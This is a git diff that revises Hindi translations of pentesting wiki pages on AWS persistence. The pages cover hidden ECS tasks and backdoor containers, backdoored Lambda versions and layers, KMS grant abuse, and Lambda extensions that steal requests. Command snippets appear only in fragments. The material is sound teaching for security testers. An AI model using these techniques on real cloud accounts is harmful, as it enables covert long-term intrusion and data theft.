+पहले, आपको रजिस्ट्री पर बाहरी खाते को **रजिस्ट्री नीति** के माध्यम से पहुंच प्रदान करनी होगी जैसे:
```bash
aws ecr put-registry-policy --policy-text file://my-policy.json
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index a70b2ab93..da2244413 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@
> [!NOTE]
> TODO: Test
-एक हमलावर Amazon EventBridge का उपयोग करके **एक दुर्भावनापूर्ण कार्य को नियमित रूप से निष्पादित करने के लिए शेड्यूल करने के लिए एक छिपा हुआ आवधिक ECS कार्य बना सकता है**। यह कार्य अन्वेषण कर सकता है, डेटा को बाहर निकाल सकता है, या AWS खाते में स्थिरता बनाए रख सकता है।
+An attacker can create a hidden periodic ECS task using Amazon EventBridge to **schedule the execution of a malicious task periodically**. This task can perform reconnaissance, exfiltrate data, or maintain persistence in the AWS account.
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
> [!NOTE]
> TODO: Test
-एक हमलावर एक **छिपा हुआ बैकडोर कंटेनर** को एक मौजूदा ECS टास्क परिभाषा में जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
+एक हमलावर एक मौजूदा ECS टास्क परिभाषा में एक **छिपा हुआ बैकडोर कंटेनर** जोड़ सकता है जो वैध कंटेनरों के साथ चलता है। बैकडोर कंटेनर का उपयोग स्थिरता और दुर्भावनापूर्ण गतिविधियों को करने के लिए किया जा सकता है।
```bash
# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -74,7 +74,7 @@ aws ecs register-task-definition --family "existing-task" --container-definition
> [!NOTE]
> TODO: Test
-एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को अक्षम करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
+एक हमलावर एक **undocumented ECS service** बना सकता है जो एक दुर्भावनापूर्ण कार्य चलाता है। कार्यों की इच्छित संख्या को न्यूनतम पर सेट करके और लॉगिंग को बंद करके, प्रशासकों के लिए दुर्भावनापूर्ण सेवा को नोटिस करना कठिन हो जाता है।
```bash
# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 582c36397..bd0ba27aa 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -1,4 +1,4 @@
-# AWS - EFS Persistence
+# AWS - EFS स्थिरता
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,10 +12,10 @@
### संसाधन नीति / सुरक्षा समूहों को संशोधित करें
-**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को बनाए रखने का प्रयास कर सकते हैं।
+**संसाधन नीति और/या सुरक्षा समूहों** को संशोधित करके आप फ़ाइल प्रणाली में अपनी पहुँच को स्थायी बनाने का प्रयास कर सकते हैं।
-### एक्सेस पॉइंट बनाएं
+### पहुँच बिंदु बनाएँ
-आप **एक्सेस पॉइंट बना सकते हैं** (जिसमें `/` पर रूट एक्सेस हो) जिसे एक सेवा से एक्सेस किया जा सकता है जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थायीता** लागू की है।
+आप **एक पहुँच बिंदु बना सकते हैं** (जिसमें `/` पर रूट पहुँच हो) जिसे एक सेवा से पहुँचा जा सके जहाँ आपने फ़ाइल प्रणाली तक विशेषाधिकार प्राप्त पहुँच बनाए रखने के लिए **अन्य स्थिरता** लागू की है।
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index b18b06f30..0067f91c4 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -18,16 +18,16 @@ AWS खाते के अंदर स्थिरता बनाए रख
एक हमलावर S3 repo के अंदर कोड में बैकडोर डाल सकता है ताकि यह हमेशा अपने बैकडोर और अपेक्षित कोड को निष्पादित करे।
-### नया बैकडोर संस्करण
+### नया बैकडोर वाला संस्करण
-वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर संस्करण तैनात कर सकता है।
+वास्तविक संस्करण पर कोड को बदलने के बजाय, हमलावर एप्लिकेशन का एक नया बैकडोर वाला संस्करण तैनात कर सकता है।
### कस्टम रिसोर्स लाइफसाइकिल हुक का दुरुपयोग
> [!NOTE]
> TODO: Test
-Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को निकालने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
+Elastic Beanstalk लाइफसाइकिल हुक प्रदान करता है जो आपको Instance प्रावधान और समाप्ति के दौरान कस्टम स्क्रिप्ट चलाने की अनुमति देता है। एक हमलावर **एक लाइफसाइकिल हुक को कॉन्फ़िगर कर सकता है जो डेटा को एक्सफिल्ट्रेट करने या AWS खाते तक पहुंच बनाए रखने के लिए समय-समय पर एक स्क्रिप्ट निष्पादित करता है**।
```bash
bashCopy code# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 8b9285d61..a050099aa 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -17,7 +17,7 @@
- एक्सेस कुंजी बनाएं (नए उपयोगकर्ता या सभी उपयोगकर्ताओं की)
- नियंत्रित उपयोगकर्ताओं/समूहों को अतिरिक्त अनुमतियाँ दें (संलग्न नीतियाँ या इनलाइन नीतियाँ)
- MFA को निष्क्रिय करें / अपना खुद का MFA उपकरण जोड़ें
-- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर नीचे STS स्थिरता में अधिक)
+- एक भूमिका श्रृंखला जुग्गलिंग स्थिति बनाएं (इस पर अधिक जानकारी नीचे STS स्थिरता में)
### बैकडोर भूमिका ट्रस्ट नीतियाँ
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
index 69c9b2f8d..0e59726b3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
@@ -16,7 +16,7 @@
### शाश्वत अनुदान
-अनुदान किसी विशेष कुंजी पर एक प्रमुख को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
+अनुदान एक विशिष्ट कुंजी पर किसी प्रिंसिपल को कुछ अनुमतियाँ देने का एक और तरीका है। यह संभव है कि एक अनुदान दिया जाए जो एक उपयोगकर्ता को अनुदान बनाने की अनुमति देता है। इसके अलावा, एक उपयोगकर्ता के पास एक ही कुंजी पर कई अनुदान (यहां तक कि समान) हो सकते हैं।
इसलिए, एक उपयोगकर्ता के पास सभी अनुमतियों के साथ 10 अनुदान हो सकते हैं। हमलावर को इसे लगातार मॉनिटर करना चाहिए। और यदि किसी बिंदु पर 1 अनुदान हटा दिया जाता है, तो अन्य 10 उत्पन्न किए जाने चाहिए।
@@ -32,6 +32,6 @@ aws kms create-grant \
aws kms list-grants --key-id
```
> [!NOTE]
-> एक ग्रांट केवल इस से अनुमति दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+> एक ग्रांट केवल इस से अनुमतियाँ दे सकता है: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index 6a14e72d9..872c679c0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -12,7 +12,7 @@
### Lambda Layer Persistence
-यह संभव है कि **कोई लेयर पेश की जाए/बैकडोर किया जाए ताकि जब लैम्ब्डा निष्पादित हो, तो मनमाना कोड चल सके**:
+यह **कोई भी कोड निष्पादित करने के लिए एक लेयर को पेश/backdoor करना** संभव है जब लैम्ब्डा को एक गुप्त तरीके से निष्पादित किया जाता है:
{{#ref}}
aws-lambda-layers-persistence.md
@@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md
### Lambda Extension Persistence
-Lambda Layers का दुरुपयोग करते हुए, यह भी संभव है कि एक्सटेंशन का दुरुपयोग किया जाए और लैम्ब्डा में स्थायी रूप से बने रहें, लेकिन साथ ही अनुरोधों को चुराएं और संशोधित करें।
+Lambda Layers का दुरुपयोग करते हुए, यह एक्सटेंशन का भी दुरुपयोग करना संभव है और लैम्ब्डा में स्थायी रहना, लेकिन अनुरोधों को चुराना और संशोधित करना भी संभव है।
{{#ref}}
aws-abusing-lambda-extensions.md
@@ -28,34 +28,34 @@ aws-abusing-lambda-extensions.md
### Via resource policies
-यह संभव है कि विभिन्न लैम्ब्डा क्रियाओं (जैसे कि इनवोक या कोड अपडेट) के लिए बाहरी खातों को पहुंच प्रदान की जाए:
+यह बाहरी खातों को विभिन्न लैम्ब्डा क्रियाओं (जैसे invoke या update code) तक पहुंच प्रदान करना संभव है:
### Versions, Aliases & Weights
-एक Lambda में **विभिन्न संस्करण हो सकते हैं** (प्रत्येक संस्करण के साथ अलग कोड)।\
-फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम बना सकते हैं** और प्रत्येक को अलग वजन सेट कर सकते हैं।\
-इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह छिपा रहे।
+एक Lambda में **विभिन्न संस्करण** हो सकते हैं (प्रत्येक संस्करण के साथ अलग कोड)।\
+फिर, आप लैम्ब्डा के **विभिन्न संस्करणों के साथ विभिन्न उपनाम** बना सकते हैं और प्रत्येक को विभिन्न वजन सेट कर सकते हैं।\
+इस तरह एक हमलावर **बैकडोर संस्करण 1** और **केवल वैध कोड के साथ संस्करण 2** बना सकता है और **केवल 1%** अनुरोधों में संस्करण 1 को निष्पादित कर सकता है ताकि वह गुप्त रह सके।
### Version Backdoor + API Gateway
1. Lambda का मूल कोड कॉपी करें
-2. **मूल कोड को बैकडोर करते हुए एक नया संस्करण बनाएं** (या केवल दुर्भावनापूर्ण कोड के साथ)। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
+2. **मूल कोड (या केवल दुर्भावनापूर्ण कोड) को बैकडोर करते हुए एक नया संस्करण बनाएं**। उस संस्करण को प्रकाशित करें और **$LATEST पर तैनात करें**
1. कोड निष्पादित करने के लिए लैम्ब्डा से संबंधित API गेटवे को कॉल करें
3. **मूल कोड के साथ एक नया संस्करण बनाएं**, उस **संस्करण को प्रकाशित करें** और **$LATEST पर तैनात करें**।
1. यह पिछले संस्करण में बैकडोर कोड को छिपा देगा
4. API गेटवे पर जाएं और **एक नया POST विधि बनाएं** (या कोई अन्य विधि चुनें) जो लैम्ब्डा के बैकडोर संस्करण को निष्पादित करेगा: `arn:aws:lambda:us-east-1::function::1`
-1. अंतिम :1 को ध्यान में रखें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
+1. अंतिम :1 को नोट करें जो **कार्य के संस्करण को इंगित करता है** (इस परिदृश्य में संस्करण 1 बैकडोर वाला होगा)।
5. बनाए गए POST विधि का चयन करें और क्रियाओं में **`Deploy API`** चुनें
-6. अब, जब आप **POST के माध्यम से कार्य को कॉल करेंगे, तो आपका बैकडोर** सक्रिय होगा
+6. अब, जब आप **POST के माध्यम से कार्य को कॉल करते हैं, तो आपका बैकडोर** सक्रिय होगा
### Cron/Event actuator
-यह तथ्य कि आप **लैम्ब्डा कार्यों को तब चला सकते हैं जब कुछ होता है या जब कुछ समय बीतता है** लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
-यहां आपके **AWS में उपस्थिति को अधिक छिपाने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
+यह तथ्य कि आप **जब कुछ होता है या जब कुछ समय बीतता है तब लैम्ब्डा कार्यों को चलाने** के लिए बना सकते हैं, लैम्ब्डा को स्थायीता प्राप्त करने और पहचान से बचने का एक अच्छा और सामान्य तरीका बनाता है।\
+यहां आपके **AWS में अधिक गुप्तता से रहने के लिए लैम्ब्डा बनाने के कुछ विचार हैं**।
- हर बार जब एक नया उपयोगकर्ता बनाया जाता है, तो लैम्ब्डा एक नया उपयोगकर्ता कुंजी उत्पन्न करता है और इसे हमलावर को भेजता है।
- हर बार जब एक नई भूमिका बनाई जाती है, तो लैम्ब्डा समझौता किए गए उपयोगकर्ताओं को भूमिका मानने की अनुमति देता है।
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index fbaed2c80..a8cd8c9a3 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,38 +1,38 @@
-# AWS - Abusing Lambda Extensions
+# AWS - Lambda एक्सटेंशनों का दुरुपयोग
{{#include ../../../../banners/hacktricks-training.md}}
-## Lambda Extensions
+## Lambda एक्सटेंशन्स
-Lambda extensions कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाते हैं। ये एक्सटेंशन [.zip आर्काइव का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल होते हैं, और दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**।
+Lambda एक्सटेंशन्स कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके बढ़ाती हैं। ये एक्सटेंशन्स [.zip आर्काइव के माध्यम से Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के जरिए जोड़ी जाती हैं या [कंटेनर इमेज डिप्लॉयमेंट्स](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/) में शामिल की जाती हैं, और ये दो मोड में कार्य करती हैं: **आंतरिक** और **बाहरी**।
-- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
-- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
+- **आंतरिक एक्सटेंशन्स** रनटाइम प्रक्रिया के साथ मिलकर काम करती हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करती हैं। यह अनुकूलन विभिन्न रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं।
+- **बाहरी एक्सटेंशन्स** अलग प्रक्रियाओं के रूप में चलती हैं, Lambda कार्य के जीवन चक्र के साथ संचालन संरेखण बनाए रखती हैं। ये विभिन्न रनटाइम्स के साथ संगत हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम्स**।
-[**कैसे lambda extensions काम करते हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
+[**कैसे Lambda एक्सटेंशन्स काम करती हैं, इसके बारे में अधिक जानकारी के लिए दस्तावेज़ देखें**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html)।
### स्थिरता, अनुरोध चुराने और अनुरोधों को संशोधित करने के लिए बाहरी एक्सटेंशन
यह इस पोस्ट में प्रस्तावित तकनीक का सारांश है: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
-यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को डिज़ाइन के अनुसार Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है।**
+यह पाया गया कि Lambda रनटाइम वातावरण में डिफ़ॉल्ट Linux कर्नेल “**process_vm_readv**” और “**process_vm_writev**” सिस्टम कॉल के साथ संकलित है। और सभी प्रक्रियाएँ एक ही उपयोगकर्ता आईडी के साथ चलती हैं, यहां तक कि बाहरी एक्सटेंशन के लिए बनाई गई नई प्रक्रिया भी। **इसका मतलब है कि एक बाहरी एक्सटेंशन को Rapid की हीप मेमोरी तक पूर्ण पढ़ने और लिखने की पहुंच है, डिजाइन के अनुसार।**
-इसके अलावा, जबकि Lambda एक्सटेंशन **आह्वान घटनाओं की सदस्यता लेने** की क्षमता रखते हैं, AWS इन एक्सटेंशनों को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकते जो HTTP अनुरोध के माध्यम से भेजी जाती है।
+इसके अलावा, जबकि Lambda एक्सटेंशन्स **आह्वान घटनाओं की सदस्यता** लेने की क्षमता रखती हैं, AWS इन एक्सटेंशन्स को कच्चा डेटा नहीं दिखाता। यह सुनिश्चित करता है कि **एक्सटेंशन्स संवेदनशील जानकारी** तक पहुंच नहीं प्राप्त कर सकतीं जो HTTP अनुरोध के माध्यम से भेजी जाती है।
-Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन प्रारंभ होते हैं और किसी भी रनटाइम कोड के निष्पादन से पहले चलते हैं, लेकिन Rapid के बाद।
+Init (Rapid) प्रक्रिया सभी API अनुरोधों की निगरानी करती है [http://127.0.0.1:9001](http://127.0.0.1:9001/) जबकि Lambda एक्सटेंशन्स को प्रारंभ किया जाता है और किसी भी रनटाइम कोड के निष्पादन से पहले चलाया जाता है, लेकिन Rapid के बाद।
-चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API का **IP** पता और **पोर्ट** संख्या **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशनों को इंगित करता है।
+चर **`AWS_LAMBDA_RUNTIME_API`** Rapid API के **IP** पते और **पोर्ट** नंबर को **बच्चे रनटाइम प्रक्रियाओं** और अतिरिक्त एक्सटेंशन्स को इंगित करता है।
> [!WARNING]
-> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट संख्या को बदलना संभव होता है।
+> **`AWS_LAMBDA_RUNTIME_API`** पर्यावरण चर को एक **`पोर्ट`** में बदलकर, जिसके पास हम पहुंच रखते हैं, Lambda रनटाइम के भीतर सभी क्रियाओं को इंटरसेप्ट करना संभव है (**मैन-इन-द-मिडल**)। यह संभव है क्योंकि एक्सटेंशन Rapid Init के समान विशेषाधिकारों के साथ चलता है, और सिस्टम का कर्नेल **प्रक्रिया मेमोरी में संशोधन** की अनुमति देता है, जिससे पोर्ट नंबर को बदलना संभव होता है।
-क्योंकि **एक्सटेंशन किसी भी रनटाइम कोड से पहले चलते हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होता है। इसके अलावा, **हमारे बाद लोड किए गए एक्सटेंशन**, जो इस चर पर निर्भर करते हैं, वे भी हमारे एक्सटेंशन के माध्यम से रूट करेंगे। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशनों को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
+क्योंकि **एक्सटेंशन्स किसी भी रनटाइम कोड से पहले चलती हैं**, पर्यावरण चर को संशोधित करने से रनटाइम प्रक्रिया (जैसे, Python, Java, Node, Ruby) पर प्रभाव पड़ेगा जब यह शुरू होती है। इसके अलावा, **हमारे बाद लोड की गई एक्सटेंशन्स**, जो इस चर पर निर्भर करती हैं, भी हमारे एक्सटेंशन के माध्यम से रूट होंगी। यह सेटअप मैलवेयर को सुरक्षा उपायों या लॉगिंग एक्सटेंशन्स को पूरी तरह से बायपास करने की अनुमति दे सकता है जो सीधे रनटाइम वातावरण के भीतर हैं।
-उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से **संवेदनशील जानकारी चुराने** के लिए बनाया गया था, अन्य **एक्सटेंशनों** के **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए।
+उपकरण [**lambda-spy**](https://github.com/clearvector/lambda-spy) को **मेमोरी लिखने** और Lambda अनुरोधों से संवेदनशील जानकारी **चुराने**, अन्य **एक्सटेंशन्स** **अनुरोधों** और यहां तक कि **उन्हें संशोधित करने** के लिए बनाया गया था।
## संदर्भ
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index aad4d36ff..16e64890c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -6,11 +6,11 @@
एक Lambda लेयर एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं।
-आप **प्रत्येक फ़ंक्शन के लिए पांच लेयर्स** तक शामिल कर सकते हैं। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
+एक फ़ंक्शन में **पाँच लेयर्स** तक शामिल करना संभव है। जब आप एक फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है।
-**डिफ़ॉल्ट रूप से**, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन किसी अन्य खाते द्वारा प्रकाशित की गई लेयर का उपयोग करते हैं, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं, भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो**। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करके फ़ंक्शंस को अपडेट नहीं कर सकते।
+**डिफ़ॉल्ट** रूप से, जो **लेयर्स** आप बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **साझा** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपयोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** भले ही इसे हटा दिया गया हो, या आपके लेयर तक पहुँचने की अनुमति को रद्द कर दिया गया हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाई गई लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते।
-कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैकेज करते हैं।
+कंटेनर इमेज के रूप में तैनात फ़ंक्शन लेयर्स का उपयोग नहीं करते हैं। इसके बजाय, आप इमेज बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर इमेज में पैक करते हैं।
### Python load path
@@ -18,23 +18,23 @@ Python द्वारा lambda में उपयोग किया जा
```
['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
```
-चेक करें कि **दूसरे** और तीसरे **स्थान** पर वे निर्देशिकाएँ हैं जहाँ **lambda layers** अपनी फ़ाइलें अनकंप्रेस करती हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`**
+चेक करें कि **दूसरे** और तीसरे **स्थान** को उन निर्देशिकाओं द्वारा कब्जा किया गया है जहाँ **lambda layers** अपनी फ़ाइलों को अनकंप्रेस करते हैं: **`/opt/python/lib/python3.9/site-packages`** और **`/opt/python`**
> [!CAUTION]
> यदि एक हमलावर एक उपयोग की गई lambda **layer** में **बैकडोर** डालने में सफल हो जाता है या **एक ऐसा जोड़ता है** जो **एक सामान्य पुस्तकालय लोड होने पर मनमाना कोड निष्पादित करेगा**, तो वह प्रत्येक lambda कॉल के साथ दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम होगा।
इसलिए, आवश्यकताएँ हैं:
-- **चेक करें पुस्तकालय** जो **पीड़ित के कोड** द्वारा **लोड** किए गए हैं
+- **चेक करें पुस्तकालय** जो **पीड़ितों के कोड** द्वारा **लोड** किए गए हैं
- एक **प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers** के साथ **कस्टम कोड निष्पादित करेगी** और **मूल** पुस्तकालय को **लोड** करेगी।
### प्रीलोडेड पुस्तकालय
> [!WARNING]
-> इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\
